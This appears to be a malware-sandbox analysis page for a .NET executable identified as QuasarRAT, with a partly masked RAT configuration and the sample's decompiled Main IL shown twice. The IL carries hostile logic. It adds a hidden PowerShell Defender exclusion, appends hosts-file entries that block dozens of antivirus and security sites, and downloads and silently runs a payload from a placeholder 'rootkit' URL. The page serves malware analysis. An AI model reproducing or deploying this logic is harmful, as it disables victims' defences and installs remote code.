Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1 malicious · 3 files
EXE448bffb0ed29202d7c00851ad82df8c9QuasarRat
Structure
Config. Field Value
Conf. AES-Salt BF-EB-huhuhuhuhuhuhuhuhuhuhu
Conf. AES-Key 1V7bWOhuhuhuhuhuhuhu
Version 3huhuhuhu
Port
Host de3.lhuhuhuhuhuhuhu
ReconnectDelay 3huhuhuhu
Key K2bFrfhuhuhuhuhuhuhu
SubDirectory tE96ckhuhuhuhuhuhuhuhuhuhuhu
InstallName Suhuhuhuhu
Install Clihuhuhuhu
Startup 1huhuhuhu
Mutex 1huhuhuhu
StartupKey $Sxr-huhuhuhuhuhuhu
HideFile whuhuhuhu
EnableLogger 1huhuhuhu
EncryptionKey 1huhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
turingmachine.exe
Full Name
turingmachine.exe
EntryPoint
System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::Main(System.String[])
Scope Name
turingmachine.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
turingmachine
Assembly Version
3.1.5.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
957
Main Method
System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::Main(System.String[])
Main IL Instruction Count
439
Main IL 
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldnull <null>
ldftn System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::︺ᤝ쇸鯉鬓엃漪㖝᭫屫귮挖ᕏ긽ꤹ唯(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
call System.Boolean ⒒瀦쑇烆웄씩䞢࿪췽݅渗䣻扖붬黽븟箿緎睞᭡::풁ꃕ正�낞䀩蒕➒虔읧酎ꐇᚋ갦⭈ꗭ()
brfalse IL_043A: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::觷鬀᷷쉏嶇삵㡪跶䍷읈롆䊚�쫻䬮霾⟽퐁()
brfalse.s IL_0043: call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
call System.Boolean 佛왬⬷針૞ꫨ⨦峤㌴㙤⑟僼朇迁멊::get_Exiting()
brtrue.s IL_0043: call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
ldsfld 佛왬⬷針૞ꫨ⨦峤㌴㙤⑟僼朇迁멊 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::䕓縵갉㘡芇咊ֿ枚ᨘ⟘竗ל좻삤㈚Ễⓧ�
callvirt System.Void 佛왬⬷針૞ꫨ⨦峤㌴㙤⑟僼朇迁멊::᥺町㭹亶൯ຕ贈萭槜觡䶥뙅㧜급譤㈸ᶿ﮽쥑()
call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
brtrue.s IL_0054: call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
call System.Void 厫섶址ท砚⩜션ԡ㺀⢷ˋ⭂ꑘꍶ嘺캏ᣧ䲓ꡆ셾::ᛏݲ�翮瞧쀅봁ᷦ�ന藏ೊ꼧ꄎ彨揶푿()
br IL_043A: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
brfalse IL_043A: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
ldstr Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root
stloc.0 <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_4
ldloc.s V_4
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_4
ldstr -WindowStyle Hidden -Command "
ldloc.0 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_4
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_4
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_4
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean)
newobj System.Void System.Diagnostics.Process::.ctor()
dup <null>
ldloc.s V_4
callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo)
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
leave.s IL_00BE: ldc.i4.s 71
pop <null>
leave.s IL_00BE: ldc.i4.s 71
ldc.i4.s 71
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr 127.0.0.1 www.malwarebytes.com
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr 127.0.0.1 avast.com
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr 127.0.0.1 www.avast.com
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr 127.0.0.1 totalav.com
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr 127.0.0.1 www.totalav.com
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr 127.0.0.1 scanguard.com
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldstr 127.0.0.1 www.scanguard.com
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr 127.0.0.1 totaladblock.com
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldstr 127.0.0.1 www.totaladblock.com
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr 127.0.0.1 pcprotect.com
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldstr 127.0.0.1 www.pcprotect.com
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr 127.0.0.1 mcafee.com
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldstr 127.0.0.1 www.mcafee.com
stelem.ref <null>
dup <null>
ldc.i4.s 13
ldstr 127.0.0.1 bitdefender.com
stelem.ref <null>
dup <null>
ldc.i4.s 14
ldstr 127.0.0.1 www.bitdefender.com
stelem.ref <null>
dup <null>
ldc.i4.s 15
ldstr 127.0.0.1 us.norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 16
ldstr 127.0.0.1 www.us.norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 17
ldstr 127.0.0.1 avg.com
stelem.ref <null>
dup <null>
ldc.i4.s 18
ldstr 127.0.0.1 www.avg.com
stelem.ref <null>
dup <null>
ldc.i4.s 19
ldstr 127.0.0.1 malwarebytes.com
stelem.ref <null>
dup <null>
ldc.i4.s 20
ldstr 127.0.0.1 www.malwarebytes.com
stelem.ref <null>
dup <null>
ldc.i4.s 21
ldstr 127.0.0.1 pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 22
ldstr 127.0.0.1 www.pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 23
ldstr 127.0.0.1 surfshark.com
stelem.ref <null>
dup <null>
ldc.i4.s 24
ldstr 127.0.0.1 www.surfshark.com
stelem.ref <null>
dup <null>
ldc.i4.s 25
ldstr 127.0.0.1 avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 26
ldstr 127.0.0.1 www.avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 27
ldstr 127.0.0.1 norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 28
ldstr 127.0.0.1 www.norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 29
ldstr 127.0.0.1 eset.com
stelem.ref <null>
dup <null>
ldc.i4.s 30
ldstr 127.0.0.1 www.eset.com
stelem.ref <null>
dup <null>
ldc.i4.s 31
ldstr 127.0.0.1 microsoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 32
ldstr 127.0.0.1 www.microsoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 33
ldstr 127.0.0.1 Zillya.com
stelem.ref <null>
dup <null>
ldc.i4.s 34
ldstr 127.0.0.1 www.Zillya.com
stelem.ref <null>
dup <null>
ldc.i4.s 35
ldstr 127.0.0.1 kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 36
ldstr 127.0.0.1 www.kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 37
ldstr 127.0.0.1 usa.kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 38
ldstr 127.0.0.1 www.usa.kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 39
ldstr 127.0.0.1 dpbolvw.net
stelem.ref <null>
dup <null>
ldc.i4.s 40
ldstr 127.0.0.1 www.dpbolvw.net
stelem.ref <null>
dup <null>
ldc.i4.s 41
ldstr 127.0.0.1 sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 42
ldstr 127.0.0.1 www.sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 43
ldstr 127.0.0.1 home.sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 44
ldstr 127.0.0.1 www.home.sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 45
ldstr 127.0.0.1 adaware.com
stelem.ref <null>
dup <null>
ldc.i4.s 46
ldstr 127.0.0.1 www.adaware.com
stelem.ref <null>
dup <null>
ldc.i4.s 47
ldstr 127.0.0.1 ahnlab.com
stelem.ref <null>
dup <null>
ldc.i4.s 48
ldstr 127.0.0.1 www.ahnlab.com
stelem.ref <null>
dup <null>
ldc.i4.s 49
ldstr 127.0.0.1 avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 50
ldstr 127.0.0.1 www.avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 51
ldstr 127.0.0.1 bullguard.com
stelem.ref <null>
dup <null>
ldc.i4.s 52
ldstr 127.0.0.1 www.bullguard.com
stelem.ref <null>
dup <null>
ldc.i4.s 53
ldstr 127.0.0.1 clamav.net
stelem.ref <null>
dup <null>
ldc.i4.s 54
ldstr 127.0.0.1 www.clamav.net
stelem.ref <null>
dup <null>
ldc.i4.s 55
ldstr 127.0.0.1 drweb.com
stelem.ref <null>
dup <null>
ldc.i4.s 56
ldstr 127.0.0.1 www.drweb.com
stelem.ref <null>
dup <null>
ldc.i4.s 57
ldstr 127.0.0.1 emsisoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 58
ldstr 127.0.0.1 www.emsisoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 59
ldstr 127.0.0.1 f-secure.com
stelem.ref <null>
dup <null>
ldc.i4.s 60
ldstr 127.0.0.1 www.f-secure.com
stelem.ref <null>
dup <null>
ldc.i4.s 61
ldstr 127.0.0.1 pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 62
ldstr 127.0.0.1 www.pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 63
ldstr 127.0.0.1 zonealarm.com
stelem.ref <null>
dup <null>
ldc.i4.s 64
ldstr 127.0.0.1 www.zonealarm.com
stelem.ref <null>
dup <null>
ldc.i4.s 65
ldstr 127.0.0.1 trendmicro.com
stelem.ref <null>
dup <null>
ldc.i4.s 66
ldstr 127.0.0.1 www.trendmicro.com
stelem.ref <null>
dup <null>
ldc.i4.s 67
ldstr 127.0.0.1 ccleaner.com
stelem.ref <null>
dup <null>
ldc.i4.s 68
ldstr 127.0.0.1 www.ccleaner.com
stelem.ref <null>
dup <null>
ldc.i4.s 69
ldstr 127.0.0.1 virustotal.com
stelem.ref <null>
dup <null>
ldc.i4.s 70
ldstr 127.0.0.1 www.virustotal.com
stelem.ref <null>
stloc.1 <null>
ldc.i4.s 37
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr drivers\etc\hosts
call System.String System.IO.Path::Combine(System.String,System.String)
call System.IO.StreamWriter System.IO.File::AppendText(System.String)
stloc.s V_5
ldloc.1 <null>
stloc.s V_6
ldc.i4.0 <null>
stloc.s V_7
br.s IL_0372: ldloc.s V_7
ldloc.s V_6
ldloc.s V_7
ldelem.ref <null>
stloc.s V_8
ldloc.s V_5
ldloc.s V_8
callvirt System.Void System.IO.TextWriter::WriteLine(System.String)
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldloc.s V_6
ldlen <null>
conv.i4 <null>
blt.s IL_035C: ldloc.s V_6
leave.s IL_0388: ldstr "ipconfig"
ldloc.s V_5
brfalse.s IL_0387: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldstr ipconfig
ldstr /flushdns
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
dup <null>
brtrue.s IL_03B0: call System.Void System.Diagnostics.Process::WaitForExit()
pop <null>
br.s IL_03B5: leave.s IL_03BA
call System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_03BA: ldstr "ROOTKIT FILE URL HERE"
pop <null>
leave.s IL_03BA: ldstr "ROOTKIT FILE URL HERE"
ldstr ROOTKIT FILE URL HERE
stloc.2 <null>
call System.String System.IO.Path::GetTempPath()
ldstr Install.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.3 <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_10
ldloc.s V_10
ldloc.2 <null>
ldloc.3 <null>
callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String)
leave.s IL_03EE: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldloc.s V_10
brfalse.s IL_03ED: endfinally
ldloc.s V_10
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_9
ldloc.s V_9
ldloc.3 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_9
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean)
newobj System.Void System.Diagnostics.Process::.ctor()
dup <null>
ldloc.s V_9
callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo)
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
leave.s IL_0435: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::꺩Ꞑ텤ᬉ푐䖜鰋⛶웅女瑯行継뭁ࡖ謾됝()
pop <null>
leave.s IL_0435: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::꺩Ꞑ텤ᬉ푐䖜鰋⛶웅女瑯行継뭁ࡖ謾됝()
call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::꺩Ꞑ텤ᬉ푐䖜鰋⛶웅女瑯行継뭁ࡖ謾됝()
call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::ᔆᒚ茭ᗍ㰹៦蓷ꀄथ鷃ほ솒�ꨞ밺()
ret <null>
Module Name
turingmachine.exe
Full Name
turingmachine.exe
EntryPoint
System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::Main(System.String[])
Scope Name
turingmachine.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
turingmachine
Assembly Version
3.1.5.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
957
Main Method
System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::Main(System.String[])
Main IL Instruction Count
439
Main IL 
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldnull <null>
ldftn System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::︺ᤝ쇸鯉鬓엃漪㖝᭫屫귮挖ᕏ긽ꤹ唯(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
call System.Boolean ⒒瀦쑇烆웄씩䞢࿪췽݅渗䣻扖붬黽븟箿緎睞᭡::풁ꃕ正�낞䀩蒕➒虔읧酎ꐇᚋ갦⭈ꗭ()
brfalse IL_043A: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::觷鬀᷷쉏嶇삵㡪跶䍷읈롆䊚�쫻䬮霾⟽퐁()
brfalse.s IL_0043: call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
call System.Boolean 佛왬⬷針૞ꫨ⨦峤㌴㙤⑟僼朇迁멊::get_Exiting()
brtrue.s IL_0043: call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
ldsfld 佛왬⬷針૞ꫨ⨦峤㌴㙤⑟僼朇迁멊 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::䕓縵갉㘡芇咊ֿ枚ᨘ⟘竗ל좻삤㈚Ễⓧ�
callvirt System.Void 佛왬⬷針૞ꫨ⨦峤㌴㙤⑟僼朇迁멊::᥺町㭹亶൯ຕ贈萭槜觡䶥뙅㧜급譤㈸ᶿ﮽쥑()
call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
brtrue.s IL_0054: call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
call System.Void 厫섶址ท砚⩜션ԡ㺀⢷ˋ⭂ꑘꍶ嘺캏ᣧ䲓ꡆ셾::ᛏݲ�翮瞧쀅봁ᷦ�ന藏ೊ꼧ꄎ彨揶푿()
br IL_043A: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
call System.Boolean 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::씟煒^钠渗჋�漃⨍䲣鳇鉊愪虗渗ꮺ벊⅜䩼()
brfalse IL_043A: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
ldstr Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root
stloc.0 <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_4
ldloc.s V_4
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_4
ldstr -WindowStyle Hidden -Command "
ldloc.0 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_4
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_4
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_4
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean)
newobj System.Void System.Diagnostics.Process::.ctor()
dup <null>
ldloc.s V_4
callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo)
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
leave.s IL_00BE: ldc.i4.s 71
pop <null>
leave.s IL_00BE: ldc.i4.s 71
ldc.i4.s 71
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr 127.0.0.1 www.malwarebytes.com
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr 127.0.0.1 avast.com
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr 127.0.0.1 www.avast.com
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr 127.0.0.1 totalav.com
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr 127.0.0.1 www.totalav.com
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr 127.0.0.1 scanguard.com
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldstr 127.0.0.1 www.scanguard.com
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr 127.0.0.1 totaladblock.com
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldstr 127.0.0.1 www.totaladblock.com
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr 127.0.0.1 pcprotect.com
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldstr 127.0.0.1 www.pcprotect.com
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr 127.0.0.1 mcafee.com
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldstr 127.0.0.1 www.mcafee.com
stelem.ref <null>
dup <null>
ldc.i4.s 13
ldstr 127.0.0.1 bitdefender.com
stelem.ref <null>
dup <null>
ldc.i4.s 14
ldstr 127.0.0.1 www.bitdefender.com
stelem.ref <null>
dup <null>
ldc.i4.s 15
ldstr 127.0.0.1 us.norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 16
ldstr 127.0.0.1 www.us.norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 17
ldstr 127.0.0.1 avg.com
stelem.ref <null>
dup <null>
ldc.i4.s 18
ldstr 127.0.0.1 www.avg.com
stelem.ref <null>
dup <null>
ldc.i4.s 19
ldstr 127.0.0.1 malwarebytes.com
stelem.ref <null>
dup <null>
ldc.i4.s 20
ldstr 127.0.0.1 www.malwarebytes.com
stelem.ref <null>
dup <null>
ldc.i4.s 21
ldstr 127.0.0.1 pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 22
ldstr 127.0.0.1 www.pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 23
ldstr 127.0.0.1 surfshark.com
stelem.ref <null>
dup <null>
ldc.i4.s 24
ldstr 127.0.0.1 www.surfshark.com
stelem.ref <null>
dup <null>
ldc.i4.s 25
ldstr 127.0.0.1 avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 26
ldstr 127.0.0.1 www.avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 27
ldstr 127.0.0.1 norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 28
ldstr 127.0.0.1 www.norton.com
stelem.ref <null>
dup <null>
ldc.i4.s 29
ldstr 127.0.0.1 eset.com
stelem.ref <null>
dup <null>
ldc.i4.s 30
ldstr 127.0.0.1 www.eset.com
stelem.ref <null>
dup <null>
ldc.i4.s 31
ldstr 127.0.0.1 microsoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 32
ldstr 127.0.0.1 www.microsoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 33
ldstr 127.0.0.1 Zillya.com
stelem.ref <null>
dup <null>
ldc.i4.s 34
ldstr 127.0.0.1 www.Zillya.com
stelem.ref <null>
dup <null>
ldc.i4.s 35
ldstr 127.0.0.1 kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 36
ldstr 127.0.0.1 www.kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 37
ldstr 127.0.0.1 usa.kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 38
ldstr 127.0.0.1 www.usa.kaspersky.com
stelem.ref <null>
dup <null>
ldc.i4.s 39
ldstr 127.0.0.1 dpbolvw.net
stelem.ref <null>
dup <null>
ldc.i4.s 40
ldstr 127.0.0.1 www.dpbolvw.net
stelem.ref <null>
dup <null>
ldc.i4.s 41
ldstr 127.0.0.1 sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 42
ldstr 127.0.0.1 www.sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 43
ldstr 127.0.0.1 home.sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 44
ldstr 127.0.0.1 www.home.sophos.com
stelem.ref <null>
dup <null>
ldc.i4.s 45
ldstr 127.0.0.1 adaware.com
stelem.ref <null>
dup <null>
ldc.i4.s 46
ldstr 127.0.0.1 www.adaware.com
stelem.ref <null>
dup <null>
ldc.i4.s 47
ldstr 127.0.0.1 ahnlab.com
stelem.ref <null>
dup <null>
ldc.i4.s 48
ldstr 127.0.0.1 www.ahnlab.com
stelem.ref <null>
dup <null>
ldc.i4.s 49
ldstr 127.0.0.1 avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 50
ldstr 127.0.0.1 www.avira.com
stelem.ref <null>
dup <null>
ldc.i4.s 51
ldstr 127.0.0.1 bullguard.com
stelem.ref <null>
dup <null>
ldc.i4.s 52
ldstr 127.0.0.1 www.bullguard.com
stelem.ref <null>
dup <null>
ldc.i4.s 53
ldstr 127.0.0.1 clamav.net
stelem.ref <null>
dup <null>
ldc.i4.s 54
ldstr 127.0.0.1 www.clamav.net
stelem.ref <null>
dup <null>
ldc.i4.s 55
ldstr 127.0.0.1 drweb.com
stelem.ref <null>
dup <null>
ldc.i4.s 56
ldstr 127.0.0.1 www.drweb.com
stelem.ref <null>
dup <null>
ldc.i4.s 57
ldstr 127.0.0.1 emsisoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 58
ldstr 127.0.0.1 www.emsisoft.com
stelem.ref <null>
dup <null>
ldc.i4.s 59
ldstr 127.0.0.1 f-secure.com
stelem.ref <null>
dup <null>
ldc.i4.s 60
